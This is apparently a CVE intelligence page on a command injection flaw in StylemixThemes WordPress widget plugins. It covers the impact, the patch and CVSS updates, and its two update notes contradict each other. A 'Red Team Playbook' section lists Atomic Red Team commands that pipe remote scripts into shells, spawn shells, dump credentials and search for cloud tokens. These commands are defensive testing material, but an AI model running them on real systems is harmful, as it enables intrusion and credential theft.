CVE-2024-37091
Overview
This vulnerability is a command injection flaw resulting from improper neutralization of special characters in user-supplied input within the StylemixThemes Consulting Elementor Widgets and Masterstudy Elementor Widgets plugins. The root cause lies in insufficient sanitization of parameters that are subsequently passed to OS-level commands, allowing arbitrary command execution. The affected components are specific widget functionalities in versions up to 1.3.0 for Consulting Elementor Widgets and up to 1.2.2 for Masterstudy Elementor Widgets.
Vulnerability Description
Improper Neutralization of Special Elements used in a Command ('Command Injection') vulnerability in StylemixThemes Consulting Elementor Widgets, StylemixThemes Masterstudy Elementor Widgets allows OS Command Injection.This issue affects Consulting Elementor Widgets: from n/a through 1.3.0; Masterstudy Elementor Widgets: from n/a through 1.2.2.
Impact
An attacker with at least low-privileged access to the affected WordPress site can execute arbitrary operating system commands remotely through the vulnerable widget parameters. This enables full system compromise, including unauthorized data access, modification, or destruction, and potential lateral movement within the hosting environment. The exploit requires no user interaction beyond authenticated access with limited privileges, significantly elevating the threat to site integrity and confidentiality.
Solution
Upgrade Consulting Elementor Widgets to version 1.3.1 or later and Masterstudy Elementor Widgets to version 1.2.3 or later, as these releases address the command injection vulnerability. Detailed patch instructions and advisories are available at Patchstack’s vulnerability database: https://patchstack.com/database/vulnerability/consulting-elementor-widgets and https://patchstack.com/database/vulnerability/masterstudy-elementor-widgets. Applying these updates promptly is critical to mitigating the risk.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability affecting the Consulting Elementor Widgets and Masterstudy Elementor Widgets from StylemixThemes is characterized by improper neutralization of special elements used in commands, leading to a command injection flaw. This type of vulnerability arises when an application fails to adequately sanitize user inputs, allowing an attacker to execute arbitrary commands on the host operating system. Specifically, the flaw exists in the way these widgets handle user-supplied data, which can be manipulated to include malicious commands. When the application processes this data without proper validation or escaping, it can lead to unintended command execution, potentially compromising the entire server environment.
Attack vectors for this vulnerability are varied and can be executed through several means. An attacker could exploit the flaw by crafting a malicious input that is sent to the affected widgets, typically through forms or API endpoints that accept user data. For instance, if a user can input data that is subsequently processed by a shell command, an attacker could inject shell metacharacters or commands that the application would execute. This could lead to unauthorized access to system resources, data exfiltration, or even complete system takeover, depending on the privileges of the web server process. Furthermore, the lack of proper input validation means that the attack could be automated, allowing for rapid exploitation across multiple instances of the affected products.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on these widgets for their WordPress sites. Given the CVSS score of 8.8, the risk level is categorized as high, indicating that successful exploitation could lead to severe consequences. Organizations could face data breaches, loss of sensitive information, and damage to their reputation. Additionally, the operational costs associated with remediation efforts, such as incident response, system recovery, and potential legal liabilities, could be substantial. The potential for attackers to use this vulnerability as a foothold for further attacks amplifies the risk, as it could lead to lateral movement within the network, targeting other critical systems and data.
To detect and mitigate the risks associated with this command injection vulnerability, organizations should implement a multi-layered security approach. Regular security assessments, including vulnerability scanning and penetration testing, can help identify weaknesses in the application and its dependencies. Additionally, employing a web application firewall (WAF) can provide an additional layer of protection by filtering out malicious requests before they reach the application. It is also crucial to ensure that all software components are kept up to date, as vendors often release patches to address known vulnerabilities. In this case, updating to the latest versions of the affected widgets is essential to close the security gap.
In conclusion, the command injection vulnerability in the Consulting Elementor Widgets and Masterstudy Elementor Widgets presents a serious threat to organizations using these tools. The potential for exploitation through various attack vectors, coupled with the significant impact on business operations and reputation, underscores the importance of proactive security measures. By implementing robust detection and mitigation strategies, organizations can better protect themselves against the risks posed by such vulnerabilities and ensure the integrity and security of their web applications.
The CVSS score for CVE-2024-37091 has been revised upward from 8.8 to 9.9, reflecting a reassessment of the vulnerability’s potential impact and exploitability. This adjustment signals an elevated criticality level, underscoring the increased likelihood that threat actors could leverage this command injection flaw to execute arbitrary operating system commands with high confidence of success. Although our telemetry does not indicate a surge in active exploitation or new proof-of-concept exploits, the stable EPSS score near the 91st percentile suggests persistent interest and potential for future attacks. For defenders, this heightened severity rating demands increased vigilance in monitoring and prioritization within patch management workflows, as the vulnerability’s exploitability and impact on affected StylemixThemes Elementor Widgets remain severe. The updated risk assessment elevates the threat level to critical, reinforcing the urgency for organizations to reassess exposure and readiness against this vulnerability despite the current absence of widespread exploitation.
Update 2 — June 09, 2026
The CVSS score adjustment from 9.9 to 8.8 for CVE-2024-37091 reflects a refined understanding of the vulnerability’s impact and exploitability, indicating a slightly reduced but still high risk profile. CSURFACE threat intelligence confirms that the exploitability potential remains significant, as evidenced by the stable EPSS score near the 91st percentile and consistent trend data from our telemetry. While no new exploit techniques or active campaigns have been detected, this recalibration suggests that the vulnerability’s practical exploitation scenarios may be more constrained than initially assessed. For defenders, this nuanced change underscores the importance of maintaining vigilance without overstating immediacy, allowing for more calibrated prioritization in patch management and monitoring efforts. The threat level remains elevated, signaling persistent adversary interest and the continued necessity for proactive defense measures against potential command injection attacks targeting StylemixThemes Elementor Widgets.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Stylemixthemes | Consulting Elementor Widgets | All |
cpe:2.3:a:stylemixthemes:consulting_elementor_widgets:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
47%
|
High | High | |
| CAPEC-6 | Argument Injection |
46%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
40%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-37091 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/vulnerability/consulting-elementor-widgets/wordpress-consulting-elementor-widgets-plugin-1-3-0-remote-code-execution-rce-vulnerability?_s_id=cve |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/vulnerability/masterstudy-elementor-widgets/wordpress-masterstudy-elementor-widgets-plugin-1-2-2-remote-code-execution-rce-vulnerability?_s_id=cve |